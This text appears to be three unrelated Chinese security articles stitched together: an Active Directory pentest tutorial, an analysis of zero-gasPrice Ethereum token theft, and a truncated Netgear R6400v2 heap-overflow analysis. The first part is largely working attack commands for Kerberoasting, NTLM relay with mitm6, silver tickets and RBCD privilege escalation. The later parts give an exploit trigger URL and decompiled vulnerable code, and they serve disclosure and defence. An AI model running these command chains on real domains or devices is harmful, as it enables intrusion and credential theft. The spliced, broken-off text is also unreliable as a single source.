[GetUserSPNs](https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py)比较简单。
proxychains4 python GetUserSPNs.py -request -dc-ip 10.0.0.2 pentestlab.com/flowing
我的dc没安装mssql，emmmm。
看示例图吧
通过hashcat就可以破解。
hashcat -m 13100 -a 0 kerberos.txt cracks.txt
有了明文，可以尝试直接登录DC。
## ASEPRoasting | tool：Rubeus
ASEPRoasting的攻击方法和Kerberoasting类似，模拟请求TGT，然后破解，但是要进行这个攻击的话前提条件就是关闭了kerberos预身份认证。
使用[Rubeus](https://github.com/GhostPack/Rubeus)进行攻击
这是一个专门针对Kerberos的工具包。
先编译
。。。。
。。。。
。。。。
卧槽，这编译太坑了。所以我是不会给你们我编译好的exe的，嘿嘿嘿，自己下vs2017折腾去。f**k。
成功拿到。
哭唧唧......
编译太坑了。
## SILENTTRINITY
SILENTTRINITY是使用IronPython和C＃开发的工具。
demon博客有使用视频。
[SILENTTRINITY | Demonsec](http://www.ggsec.cn/SILENTTRINITY.html)
首先做一个共享目录
存放我们的恶意xml文件。
然后配合cme去执行xml。
先测试一下
然后这边就会得到一个shell，我这里测试不太稳定。
这个工具只支持.net 4.5
-exec-method atexec选项的作用是返回一个system shell。
## 无约束的 Kerberos
计算机中有一个`msDS-AllowedToActOnBehalfOfOtherIdentity`属性，此属性控制用户是否可以通过Kerberos模拟登录域中的任何计算机。可以通过reply攻击完成。
这里使用mitm6
简单的说一下mitm6原理
mitm6首先监听攻击者计算机的主要接口，然后所有计算机会来请求这个接口，但是响应的是DHCPv6请求，为每台计算机分配一个地址，所以就相当于是一台DNS服务器，通信的时候，目标机会发送NTLM
challenge/response
数据到我们的机器上，作为中间人攻击。然后配合[ntlmrelayx](https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py)进行reply攻击，就是中继。
选择指定的域：
mitm6 -i en0 -d pentestlab.com
再通过ntlmrelayx.py提供wpad文件，通过ldaps中继到DC
python ntlmrelayx.py -t ldaps://pentestlab-Dc.pentestlab.com -wh 192.168.123.54 --delegate-access
这个攻击需要耐心的，因为目标可能好几天不上网，你就抓不到，但是只要他打开ie之类的代理工具，就能抓到凭据。
生成银票据
getST.py -spn cifs/pentestlabwin7.pentestlab.com pentestlab.com/AFWMZ0DS\$ -dc-ip 10.10.0.2 -impersonate Administrator
这里提一下，cifs是一种网络协议，然后关于银票据的个人看法。
个人觉得，虽然金票据的权限比银票据高，但是银票据更加隐蔽，因为不和kdc通信，而是直接和对应服务进行通信。得到的权限也不一定很低。
最后通过secretsdump.py远程dump hash即可。
## RBCD攻击
Resource-based Constrained Delegation
这个方法原理比较长，可能得单独拿一篇出来讲，这几天看的头都大了。
攻击前提是需要有一台win2012的DC。因为老版本不支持RBCD。
tools：
* [GitHub - Kevin-Robertson/Powermad: PowerShell MachineAccountQuota and DNS exploit tools](https://github.com/Kevin-Robertson/Powermad)
* [PowerSploit/PowerView.ps1 at dev · PowerShellMafia/PowerSploit · GitHub](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
* [GitHub - GhostPack/Rubeus: Trying to tame the three-headed dog.](https://github.com/GhostPack/Rubeus)
先设置允许使用脚本。
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser
导入需要的脚本
powerview使用这个新版本的。
[](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1)
查询DACL权限:Discretionary Access Control List
$AttSID = Get-DomainGroup Users -Properties objectsid | Select -Expand objectsid
Get-DomainObjectACL Pentestlabwin7.pentestlab.com | ?{$_.SecurityIdentifier -match $AttSID}
acl相关的权限
接下来创建一个新的用户，因为msDS-allowedToActOnBehalfOfOtherIdentity策略未安全设置的原因，新的计算机用户可以伪装成域内的管理员。
New-MachineAccount -MachineAccount hackerwing -Password $(ConvertTo-SecureString 'wing2019' -AsPlainText -Force)
然后就是把用户的SID添加到DC的msDS-allowedToActOnBehalfOfOtherIdentity属性中。
> 安全标识符 (Security
> Identifier，SID)是Windows操作系统使用的独一无二的，不变的标识符用于标识用户、用户群、或其他安全主体（英语：security
> principal）.安全标识符一经产生，不会与全世界任何的安全标识符重复；也不随用户更名而变化。如果删除了用户帐户，然后再创建同名帐户，则产生的安全标识符是不同的
$ComputerSid = Get-DomainComputer hackerwing -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
用Rubeus创建NT hash
Rubeus.exe hash /user:hackerwing /password:wing2019 /domain:pentestlab.com
再使用Rubeus的S4U(用户服务)功能模拟DC ADMIN
Rubeus.exe s4u /user:hackerwing$ /rc4: 6D1BF3B1E6C721EA14C13A007E656FAA /impersonateuser:Administrator /msdsspn:cifs/pentestLab-DC.pentestlab.com /ptt
票据导入后，就可以直接访问DC。
有个视频，直观些。
[YouTube](https://www.youtube.com/watch?v=RUbADHcBLKg)
## MS14-025，GPP
这个洞人尽皆知了。
msf有模块
不过一般看一下SYSVOL目录就行。
## 查找权限高的用户|CrackMapExec
cme smb 192.168.123.0/24 -u flowing -p Admin@1234 --shares
有高权限的目录的话，会提示出来。
配合你自己的C2工具横向渗透。
## PowerTools
还有一个重要的点就是在磁盘上收集已知密文。
PowerView中有一个叫Invoke-FileFinder的命令，它允许您在文件或文件中搜索你想要的任何字符串。
password
Invoke-FileFinder -Threads 100 -Verbose -Terms password
这是2.0版本的
新版本
$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential
## PowerUp
在PowerUp模块中有一个叫Invoke-All-Checks的函数，检查所有不安全的配置项。
## Get-ExploitableSystem
就是会列出哪些可能存在的漏洞，会给出msf模块的具体位置。
最近的cwe应该比这个好用。
## GetSystem
和msf的也类似
## ADAPE
这个是作者写的一个工具，自动生成报告。
运行以后在当前目录生成
更多可以在下面的参考链接找到，看别人操作是一回事，自己复现起来坑就多了。
## 参考链接：
* [SPN服务主体名称发现详解 - FreeBuf互联网安全新媒体平台](https://www.freebuf.com/articles/system/174229.html)
* [Roasting AS-REPs – harmj0y](https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/)
* [结合NTLM中继和Kerberos委派攻击AD - 渗透测试中心 - 博客园](https://www.cnblogs.com/backlion/p/10524322.html)
* [A Case Study in Wagging the Dog: Computer Takeover – Posts By SpecterOps Team Members](https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783)
* [Another Word on Delegation – harmj0y](https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/)
* [Microsoft Exchange漏洞分析 - CVE-2018-8581 - l3m0n - 博客园](https://www.cnblogs.com/iamstudy/articles/Microsoft_Exchange_CVE-2018-8581_2.html)
* [Kerberos Attack: Silver Ticket Edition](https://www.varonis.com/blog/kerberos-attack-silver-ticket/) | 社区文章 |
作者：Sissel@知道创宇404区块链安全研究团队
时间：2018年8月20日
英文版：<https://paper.seebug.org/687/>
### 0x00 前言
2018年08月01日，知道创宇404区块链安全研究团队发布[《金钱难寐，大盗独行——以太坊 JSON-RPC
接口多种盗币手法大揭秘》](https://paper.seebug.org/656/)，针对 `偷渡漏洞` 和 `后偷渡时代的盗币方式`
进行了介绍，披露了 `后偷渡时代` 的三种盗币方式：离线攻击、重放攻击和爆破攻击。
在进一步的研究中，我们又发现了针对这些攻击方式的补充： **拾荒攻击**
。攻击者或求助于矿工，或本身拥有一定算力以获得将交易打包进区块的权利。在偷渡漏洞中，攻击者在被攻击节点构造`gasPrice` 为 `0`
的交易，等待用户解锁账户签名广播。攻击者同时设置一个恶意节点，用于接收这笔交易。攻击者将符合条件的交易打包，就可以实现 `0`
手续费完成转账。通过这种攻击，攻击者可以获取到余额不足以支付转账手续费或勉强足够支付手续费节点上的所有以太币，并在一定程度上可以防止其他攻击者的竞争，可谓是
`薅羊毛` 的典范。
除此之外，在薅够以太币残羹之后，攻击者又盯上了这些以太币已被盗光，但账户中残留的代币。直到现在，针对许多智能合约发行的代币，一些被攻击账户中的token，仍在小额地被攻击者以拾荒攻击盗走。
本文将从一笔零手续费交易谈起，模拟复现盗币的实际流程，对拾荒攻击成功的关键点进行分析。
### 0x01 从一笔零手续费交易谈起
在区块链系统中，每一笔交易都应该附带一部分gas以及相应的gasPrice作为手续费，当该交易被打包进区块，这笔手续费将用来奖励完成打包的矿工。
在[《金钱难寐，大盗独行——以太坊 JSON-RPC
接口多种盗币手法大揭秘》](https://paper.seebug.org/656/)中，我们提到了一个利用以太坊JSON-RPC接口的攻击者账号[0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464](https://etherscan.io/address/0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464)。该攻击者在公网中扫描开放的RPC端口，构造高手续费的交易请求，一旦用户解锁账户，便会将用户余额转至攻击者的账户或攻击者创建的合约账户。
在分析该账户交易信息的时候，我们发现了一笔不符合常识的交易，先从这笔交易开始谈起。
交易地址：[0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22](https://https://etherscan.io/tx/0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22)
Function: transfer(address _to, uint256 _value)
MethodID: 0xa9059cbb
[0]: 000000000000000000000000957cd4ff9b3894fc78b5134a8dc72b032ffbc464
[1]: 000000000000000000000000000000000000000000000000000000000abe7d00
从[0x00a329c0648769a73afac7f9381e08fb43dbea72](https://etherscan.io/address/0x00a329c0648769a73afac7f9381e08fb43dbea72)向合约[MinereumToken](https://etherscan.io/address/0x1a95b271b0535d15fa49932daba31ba612b52946)(攻击者的合约)的交易，虽然用户余额很少，但这笔交易使用了该账户所有余额作为value与合约交互，这笔交易使用了正常数量的gas，但它的gasPrice被设定为0。
前文提到，攻击者会使用较高的手续费来保证自己的交易成功，矿工会按照本节点的txpool中各交易的gasPrice倒序排列，优先将高gasPrice交易打包进之后的区块。在这个世界上每时每刻都在发生着无数笔交易，在最近七日，成交一笔交易的最低gasPrice是3Gwei。这笔零手续费交易究竟是如何发生，又是如何打包进区块的呢。
### 0x02 思路分析
在区块链系统中，任何人都可以加入区块链网络，成为其中一个节点，参与记账、挖矿等操作。保证区块链的可信性和去中心化的核心便是 **共识机制** 。
#### 共识机制
>
> 在以太坊中，矿工将上一区块的哈希值、txpool中手续费较高的交易、时间戳等数据打包，不断计算nonce来挖矿，最先得出符合条件的nonce值的矿工将拥有记账权，得到手续费和挖矿奖励。矿工将广播得到的区块，其他节点会校验这一区块，若无错误，则认为新的区块产生，区块链高度增加。这就是各节点生成新区块保持共识的过程。
将0 gasPrice交易完成需要确认两个问题
* 矿工是否会接受这个交易，并将其打包
* 其余节点接收到含此交易的区块，是否会达成共识
下面我们来对0
gasPrice交易相关的操作进行测试。了解零手续费的交易如何产生，如何被txpool接受，打包了零手续费交易的区块能否被认可，确认上述问题的答案。
### 0x03 零手续费交易测试
#### a. 单节点测试
首先，我们来确认此交易是否可以进入节点的txpool中，启用一个测试链。默认rpc端口是8545，使用python的web3包发起一笔0
gasPrice转账。
geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --rpc --rpcaddr 0.0.0.0 console
节点一发起转账的脚本，转帐前要解锁账户
from web3 import Web3, HTTPProvider
web3 = Web3(HTTPProvider("http://localhost:8545/"))
print(web3.eth.accounts)
# 转帐前要解锁账户
web3.eth.sendTransaction({
"from":web3.eth.accounts[0],
"to":web3.eth.accounts[1],
"value": 10,
"gas":21000,
"gasPrice":0,
})
交互结果
> txpool.content
{
pending: {},
queued: {}
}
> eth.getBalance(eth.accounts[0])
800000000
> personal.unlockAccount(eth.accounts[0],'sissel')
true
> INFO [08-14|11:20:14.972] Submitted transaction fullhash=0x72e81751d2517807cabad24102d3cc2f0f4f2e8b92f1f106f1ee0bf6be734fe4 recipient=0x92636b228148e2824cB8d472Ef2F4e76f2F5059C
> txpool.content
{
pending: {
0x092fda221a114FA702e2f59C217C92cfEB63f5AC: {
3: {
blockHash: "0x0000000000000000000000000000000000000000000000000000000000000000",
blockNumber: null,
from: "0x092fda221a114fa702e2f59c217c92cfeb63f5ac",
gas: "0x5208",
gasPrice: "0x0",
hash: "0x72e81751d2517807cabad24102d3cc2f0f4f2e8b92f1f106f1ee0bf6be734fe4",
input: "0x",
nonce: "0x3",
r: "0x1eca20e3f371ed387b35ca7d3220789399a3f64c449a825e0fa7423b96ce235c",
s: "0x35a58e5cb5027c7903c1f1cc061ae846fb5150186ebbabb2b0766e4cbfc4aee6",
to: "0x92636b228148e2824cb8d472ef2f4e76f2f5059c",
transactionIndex: "0x0",
v: "0x42",
value: "0xa"
}
}
},
queued: {}
}
> miner.start(1)
INFO [08-14|11:20:35.715] Updated mining threads threads=1
INFO [08-14|11:20:35.716] Transaction pool price threshold updated price=18000000000
null
INFO [08-14|11:20:35.717] Starting mining operation
> INFO [08-14|11:20:35.719] Commit new mining work number=115 txs=1 uncles=0 elapsed=223µs
> mINFO [08-14|11:20:36.883] Successfully sealed new block number=115 hash=ce2f34…210039
INFO [08-14|11:20:36.885] ? block reached canonical chain number=110 hash=2b9417…850c25
INFO [08-14|11:20:36.886] ? mined potential block number=115 hash=ce2f34…210039
INFO [08-14|11:20:36.885] Commit new mining work number=116 txs=0 uncles=0 elapsed=202µs
> miner.stop()
true
> eth.getBalance(eth.accounts[0])
799999990
节点一发起的零手续费交易成功，并且挖矿后成功将该交易打包进区块中。
#### b. 多节点共识测试
现在加入另一个节点
geth --datadir "./" --networkid 233 --rpc --rpcaddr "localhost" --port 30304 --rpcport "8546" --rpcapi "db,eth,net,web3" --verbosity 6 --nodiscover console
使用这些方法添加节点
> admin.nodeInfo
> admin.addPeer()
> admin.peers
节点一仍使用刚才的脚本发起零手续费交易，节点一的txpool中成功添加，但节点二因为gasPrice非法拒绝了此交易。
TRACE[08-15|10:09:24.682] Discarding invalid transaction hash=3902af…49da03 err="transaction underpriced"
> txpool.content
[]
在geth的配置中发现了与此相关的参数
--txpool.pricelimit value Minimum gas price limit to enforce for acceptance into the pool (default: 1)
将其启动时改为0，但节点二的txpool中仍未出现这笔交易。
阅读源码知，此参数确实是控制txpool增加的交易的最低gasPrice，但不能小于1。
if conf.PriceLimit < 1 {
log.Warn("Sanitizing invalid txpool price limit", "provided", conf.PriceLimit, "updated", DefaultTxPoolConfig.PriceLimit)
conf.PriceLimit = DefaultTxPoolConfig.PriceLimit
}
令节点一（txpool中含0 gasPrice）开始挖矿，将该交易打包进区块后，发现节点二认可了此区块，达成共识，两节点高度均增长了。
得到结论：
* 零手续费交易，通常情况下只有发起者的txpool可以接收，其余节点无法通过同步此交易。如若需要，必须进行修改geth源码等操作。
* 虽然这笔交易无法进入其他节点的txpool，但对于含此交易的区块，可以达成共识。
我们将进行简要的源代码分析，支持我们的结论。
### 0x04 源码分析
（以下的代码分析基于<https://github.com/ethereum/go-ethereum>的当前最新提交：commit
6d1e292eefa70b5cb76cd03ff61fc6c4550d7c36）
以太坊目前最流行的节点程序（Geth/Parity）都提供了RPC API，用于对接矿池、钱包等其他第三方程序。首先确认一下节点在打包txs时，代码的实现。
#### i. 交易池
代码路径：./go-ethereum/core/tx_pool.go
// TxPool contains all currently known transactions. Transactions
// enter the pool when they are received from the network or submitted
// locally. They exit the pool when they are included in the blockchain.
type TxPool struct {
config TxPoolConfig
chainconfig *params.ChainConfig
chain blockChain
gasPrice *big.Int //最低的GasPrice限制
/*
其他参数
*/
}
生成一个tx实例时，发现有对gasPrice的最低要求，具体在这个函数中会拒绝接收此交易。
// validateTx checks whether a transaction is valid according to the consensus
// rules and adheres to some heuristic limits of the local node (price and size).
func (pool *TxPool) validateTx(tx *types.Transaction, local bool) error {
// 在这里是gasPrice的校验
if !local && pool.gasPrice.Cmp(tx.GasPrice()) > 0 {
return ErrUnderpriced
}
/*
...
*/
return nil
}
#### ii. 移除低于阈值的交易
代码路径：./go-ethereum/core/tx_list.go 并且在处理txs中，会将低于阈值的交易删除，但本地的交易不会删除。
// Cap finds all the transactions below the given price threshold, drops them
// from the priced list and returs them for further removal from the entire pool.
func (l *txPricedList) Cap(threshold *big.Int, local *accountSet) types.Transactions {
drop := make(types.Transactions, 0, 128) // Remote underpriced transactions to drop
save := make(types.Transactions, 0, 64) // Local underpriced transactions to keep
for len(*l.items) > 0 {
// Discard stale transactions if found during cleanup
tx := heap.Pop(l.items).(*types.Transaction)
if _, ok := (*l.all)[tx.Hash()]; !ok {
// 如果发现一个已经删除的,那么更新states计数器
l.stales-- continue
}
// Stop the discards if we've reached the threshold
if tx.GasPrice().Cmp(threshold) >= 0 {
// 如果价格不小于阈值, 那么退出
save = append(save, tx)
break
}
// Non stale transaction found, discard unless local
if local.containsTx(tx) { //本地的交易不会删除
save = append(save, tx)
} else {
drop = append(drop, tx)
}
}
for _, tx := range save {
heap.Push(l.items, tx)
}
return drop
}
* * *
以上部分为区块链网络内一节点，尝试接收或加入 0 gasPrice 的交易时，会有部分过滤或规则限制。但通过修改源码，我们依然可以做到将 0
gasPrice 的交易合法加入到区块中，并进行之后的nonce计算。下面继续源码分析，考察通过此方式得到的区块，是否可以被其他节点接受，达成共识。
#### iii. 共识校验
代码路径：./go-ethereum/consensus/consensus.go 这是geth中，提供的共识算法engine接口
type Engine interface {
// 签名
Author(header *types.Header) (common.Address, error)
/*
验证了header、seal，处理难度等函数
...
*/
// 预处理区块头信息，修改难度等
Prepare(chain ChainReader, header *types.Header) error
// 区块奖励等，挖掘出区块后的事情
Finalize(chain ChainReader, header *types.Header, state *state.StateDB, txs []*types.Transaction,
uncles []*types.Header, receipts []*types.Receipt) (*types.Block, error)
// 计算nonce，若收到更高的链，则退出
Seal(chain ChainReader, block *types.Block, stop <-chan struct{}) (*types.Block, error)
// 计算难度值
CalcDifficulty(chain ChainReader, time uint64, parent *types.Header) *big.Int
// APIs returns the RPC APIs this consensus engine provides.
APIs(chain ChainReader) []rpc.API
// Close terminates any background threads maintained by the consensus engine.
Close() error
}
查看VerifySeal()，发现校验了如下内容：
* 不同模式下的一些特殊处理
* 难度是否合法
* nonce值是否合法
* gas值是否合法
可以看到，其他节点针对共识，检查了签名、nonce等内容，对于其中零手续费的交易没有检验。换句话说，零手续费的交易虽然不能激励矿工，但它依然是合法的。
### 0x05 利用流程
攻击者首先以偷渡漏洞利用的方式，构造零手续费，正常的transfer交易。待用户解锁账户后，广播交易。具体流程见下图：
### 0x06 小结
由此我们可以得出，0 gasPrice这样的特殊交易，有如下结论：
* 通常情况下，0 gasPrice可通过节点自身发起加入至txpool中。
* 以 geth 为例，修改geth部分源码重新编译运行，该节点方可接受其他节点发出的特殊交易（目标账户发起的0 gasPrice交易）。此为攻击者需要做的事情。
* 0 gasPrice的交易可以打包进区块，并且符合共识要求。
因为json-rpc接口的攻击方式中，攻击者可以通过偷渡漏洞签名 0 gasPrice交易并广播。通过收集此类0
gasPrice交易并添加至部分矿工的txpool中，当该矿工挖出一个新的区块，这类交易也将会被打包。即攻击者可能与部分矿工联手，或攻击者本身就有一定的运算能力，让矿工不再遵循诚实挖矿维护区块链系统的原则，
### 0x07 利用价值及防御方案
因为零手续费交易的出现，诸多低收益的攻击都将拥有意义。
#### 提高收益
攻击者可以通过此种方式，结合其他的攻击手法，将被攻击账户中的余额全部转出，达到了收益最大化。
#### 羊毛薅尽
依照[《金钱难寐，大盗独行——以太坊 JSON-RPC
接口多种盗币手法大揭秘》](https://paper.seebug.org/656/)中提到的攻击方式，对于账户余额较少，甚至不足以支付转账手续费的情况，可通过上文提到的薅羊毛式攻击方案，将账户中的`残羹`收入囊中。由于此交易gasPrice为0，可在一区块中同时打包多个此类型交易，例如此合约下的多组交易：[0x1a95b271b0535d15fa49932daba31ba612b52946](https://etherscan.io/address/0x1a95b271b0535d15fa49932daba31ba612b52946)，此区块中的几笔交易：[4788940](https://etherscan.io/txs?block=4788940&p=6)
#### 偷渡代币
在被盗账户已无以太币的情况下，攻击者发现这些账户还存有部分智能合约发行的代币。没有以太币便不能支付gas进行转账，零手续费交易可以完美解决这个问题。直到现在，有诸多无以太币的被攻击账户，仍在被此方式转账代币。
#### 防御方案
由于0 gasPrice交易只是扩展其他攻击方案的手法，还应将防御着眼在之前json-rpc接口利用。
* 对于有被偷渡漏洞攻击的痕迹或可能曾经被偷渡漏洞攻击过的节点，建议将节点上相关账户的资产转移到新的账户后废弃可能被攻击过的账户。
* 建议用户不要使用弱口令作为账户密码，如果已经使用了弱口令，可以根据1.2节末尾的内容解出私钥内容，再次通过 geth account import 命令导入私钥并设置强密码。
* 如节点不需要签名转账等操作，建议节点上不要存在私钥文件。如果需要使用转账操作，务必使用 personal_sendTransaction 接口，而非 personal_unlockAccount 接口。
### 0x08 影响规模
我们从上面说到的0 gasPrice的交易入手。调查发现，近期依然有许多交易，以0
gasPrice成交。多数0手续费交易都出自矿池：[0xb75d1e62b10e4ba91315c4aa3facc536f8a922f5](https://etherscan.io/address/0xb75d1e62b10e4ba91315c4aa3facc536f8a922f5)和[0x52e44f279f4203dcf680395379e5f9990a69f13c](https://etherscan.io/address/0x52e44f279f4203dcf680395379e5f9990a69f13c)，例如区块
[6161214](https://etherscan.io/block/6161214)、[6160889](https://etherscan.io/block/6160889)等。
我们注意到，这些0 gasPrice交易，仅有早期的少部分交易，会携带较少的以太币，这符合我们对其薅羊毛特性的预计。经统计，从 **2017年6月起**
，陆续有748个账户总计 **24.2eth** 被零手续费转账。
在其中也找到了[《金钱难寐，大盗独行——以太坊 JSON-RPC
接口多种盗币手法大揭秘》](https://paper.seebug.org/656/)中提到的重放攻击，造成的账户损失：[0x682bd7426ab7c7b4b5beed331d5f82e1cf2cecc83c317ccee6b4c4f1ae34d909](https://etherscan.io/tx/0x682bd7426ab7c7b4b5beed331d5f82e1cf2cecc83c317ccee6b4c4f1ae34d909)
被盗走0.05eth
* * *
在这些0
gasPrice中，更多的是对[合约](https://etherscan.io/address/0x1a95b271b0535d15fa49932daba31ba612b52946)发行的[TOKEN](https://etherscan.io/token/0x1a95b271b0535d15fa49932daba31ba612b52946)，进行的转账请求，将用户账户中的token转移至[合约拥有者账户](https://etherscan.io/address/0xe386e3372e3d316ae063af50c38704ec6fba5149)中，例如：
该账户的tx记录。
攻击者拥有多个矿池的算力，将众多被攻击账户拥有的多种token，转移到相应的账户中，虽然单笔交易金额较小，但可进行此种攻击方式的账户较多，合约较多，且不需要手续费。积少成多，直到现在，攻击者仍在对这些代币进行着拾荒攻击。
### 0x09 结语
区块链系统基于去中心化能达成交易的共识，一个前提就是，绝大多数的矿工，都会通过诚实挖矿来维持整个比特币系统。当矿工不再诚实，区块链的可信性和去中心化将会大打折扣。当黑客联合矿工，或黑客本身拥有了算力成为矿工，都会在现有攻击手法的基础上，提供更多的扩展攻击方案。0
gasPrice交易的出现，违背了区块链设计初衷，即应对矿工支付手续费作为激励。
区块链技术与虚拟货币的火热，赋予了链上货币们巨大的经济价值，每个人都想在区块链浪潮中分得一杯羹。黑客们更是如此，他们作为盗币者，绞尽脑汁的想着各个角度攻击区块链与合约。当黑客栖身于矿工，他们不但能挖出区块，也能挖出漏洞。
* * *
**智能合约审计服务**
针对目前主流的以太坊应用，知道创宇提供专业权威的智能合约审计服务，规避因合约安全问题导致的财产损失，为各类以太坊应用安全保驾护航。
知道创宇404智能合约安全审计团队： <https://www.scanv.com/lca/index.html>
联系电话：(086) 136 8133 5016(沈经理，工作日:10:00-18:00)
欢迎扫码咨询：
**区块链行业安全解决方案**
黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵，给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验，凭借多重防护+云端大数据技术，为区块链应用提供专属安全解决方案。
欢迎扫码咨询：
### 参考链接
1. json-rpc接口盗币手法：[金钱难寐，大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘](https://paper.seebug.org/656/#222)
2. <https://www.reddit.com/r/ethereum/comments/7lx1do/a_christmas_mystery_sweepers_and_zero_gas_price/>
3. [how-to-create-your-own-private-ethereum-blockchain-dad6af82fc9f](https://medium.com/mercuryprotocol/how-to-create-your-own-private-ethereum-blockchain-dad6af82fc9f)
4. 零手续费交易：<https://etherscan.io/tx/0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22>
5. 慢雾命名的“以太坊黑色情人节”，细节：以太坊生态缺陷导致的一起亿级代币盗窃大案：<https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg>
6. 揭秘以太坊中潜伏多年的“偷渡”漏洞，全球黑客正在疯狂偷币：<https://paper.seebug.org/547/>
* * * | 社区文章 |
**作者：[cq674350529](https://cq674350529.github.io/2021/03/19/Netgear-R6400v2-%E5%A0%86%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/
"cq674350529")
本文首发于信安之路，原文链接：<https://mp.weixin.qq.com/s/FvqfcHjdM6-LVf-lQXzplA>**
### 漏洞简介
2020年6月，`ZDI`发布了一个关于`Netgear
R6700`型号设备上堆溢出漏洞的[安全公告](https://www.zerodayinitiative.com/advisories/ZDI-20-709/)，随后又发布了一篇关于该漏洞的[博客](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router)，其中对该漏洞进行了详细分析，并给出了完整的漏洞利用代码。该漏洞存在于对应设备的`httpd`组件中，在处理配置文件上传请求时，由于对请求内容的处理不当，在后续申请内存空间时存在整数溢出问题，从而造成堆溢出问题。攻击者利用这一漏洞可以在目标设备上实现代码执行，且无需认证。
此前，关于`IoT`设备上公开的带完整漏洞利用的堆溢出漏洞比较少(好像公开的堆溢出漏洞就不多…)，正好手边有一个`R6400v2`型号的设备，因此打算分析一下该漏洞，了解漏洞利用的思路，并尝试基于`R6400v2`型号设备实现漏洞利用。
### 漏洞分析
根据`Netgear`官方的[安全公告](https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders)，针对`R6400v2`型号设备，版本`v1.0.4.84`及其之前版本受该漏洞影响，在之后的版本中修复了该漏洞，因此选择`v1.0.4.84`版本来对该漏洞进行分析。
`ZDI`的[博客](https://www.zerodayinitiative.com/blog/2020/6/24/zdi-20-709-heap-overflow-in-the-netgear-nighthawk-r6700-router)中已经对该漏洞进行了分析，故这里简单说明下。该漏洞存在于`httpd`组件的`http_d()`函数中，在处理配置文件上传请求时(接口为`"/backup.cgi"`)，在`(1)`处会调用`recv()`读取数据，第一次读取完数据后，程序流程会到达`(2)`处，对请求头中的部分字段进行判断。之后会再次调用`recv()`读取数据，之后程序流程会到达`(3)`处。之后在`(4)`处计算请求头中`"Content-Length"`字段对应的值，基于该值，在`(5)`处计算实际的文件内容长度。在`(6)`处会根据计算得到的文件内容大小申请内存空间，在`(7)`处调用`memcpy()`进行拷贝。
存在该漏洞的原因在于，在计算请求头中`"Content-Length"`字段对应的值时，通过调用`stristr(s1, "Content-Length:
")`来定位其位置，当在请求`url`中包含`"Content-Length:
"`时，可使得计算的值错误，从而影响后续申请的堆块大小。通过伪造合适的`"Content-Length:
xxx"`，可造成后续在调用`memcpy()`时出现堆溢出。该漏洞的发现者`d4rkn3ss`给出的请求`url`为`"/cgi-bin/genie.cgi?backup.cgiContent-Length: 4156559"`。
> 同样，由于在`R6400v2`设备上存在`nginx`代理，`nginx`会保证请求头中的`Content-> Length`对应的值与请求体的内容长度相等，故无法通过直接伪造原始请求头中的`Content-Length`触发。
int http_d(int a1)
{
// ...
if ( v248.s_addr ) {
// ...
while ( 1 ) {
while ( 1 ) {
while ( 1 ) {
while ( 1 ) {
do
{
// ...
if ( (((unsigned int)v223[0].__fds_bits[(unsigned int)dword_F253F4 >> 5] >> (dword_F253F4 & 0x1F)) & 1) != 0
|| (v92 = dword_1994EC) != 0 )
{
var_recv_len = my_read(dword_F253F4, &recv_buf, 0x400u); // (1) recv(), 请求过长的话会被调用多次
// ...
}
v152 = v198;
goto LABEL_395;
}
while ( var_recv_len == -2 );
if ( v150 )
break;
v144 = var_recv_len + var_offset;
if ( (int)(var_recv_len + var_offset) >= 0x10000 )
{
// ...
}
else
{
memcpy(&s1[var_offset], &recv_buf, var_recv_len); // (2)
s1[v144] = 0;
if ( stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "upgrade_check.cgi")
&& (stristr(s1, "Content-Type: application/octet-stream") || stristr(s1, "MSIE 10"))
|| stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ") && stristr(s1, "backup.cgi")
|| stristr(s1, "Content-Disposition:") && stristr(s1, "Content-Length: ")&& stristr(s1, "genierestore.cgi") )
{
// ...
goto LABEL_356;
}
// ...
LABEL_356:
v150 = 1; goto LABEL_357;
}
// ...
}
//...
}
// ...
v107 = stristr(s1, "name=\"mtenRestoreCfg\""); // (3)
if ( v107 && (v108 = stristr(v107, "\r\n\r\n")) != 0 )
{
v109 = v108 + 4; // 指向文件内容
v102 = v108 + 4 - (_DWORD)s1; // post请求部分除文件内容之外其他部分的长度
v110 = stristr(s1, "Content-Length: ");// 没有考虑其位置,可以在url中伪造,进而造成后续出现堆溢出
if ( !v110 )
goto LABEL_286;
v111 = v110 + 15;
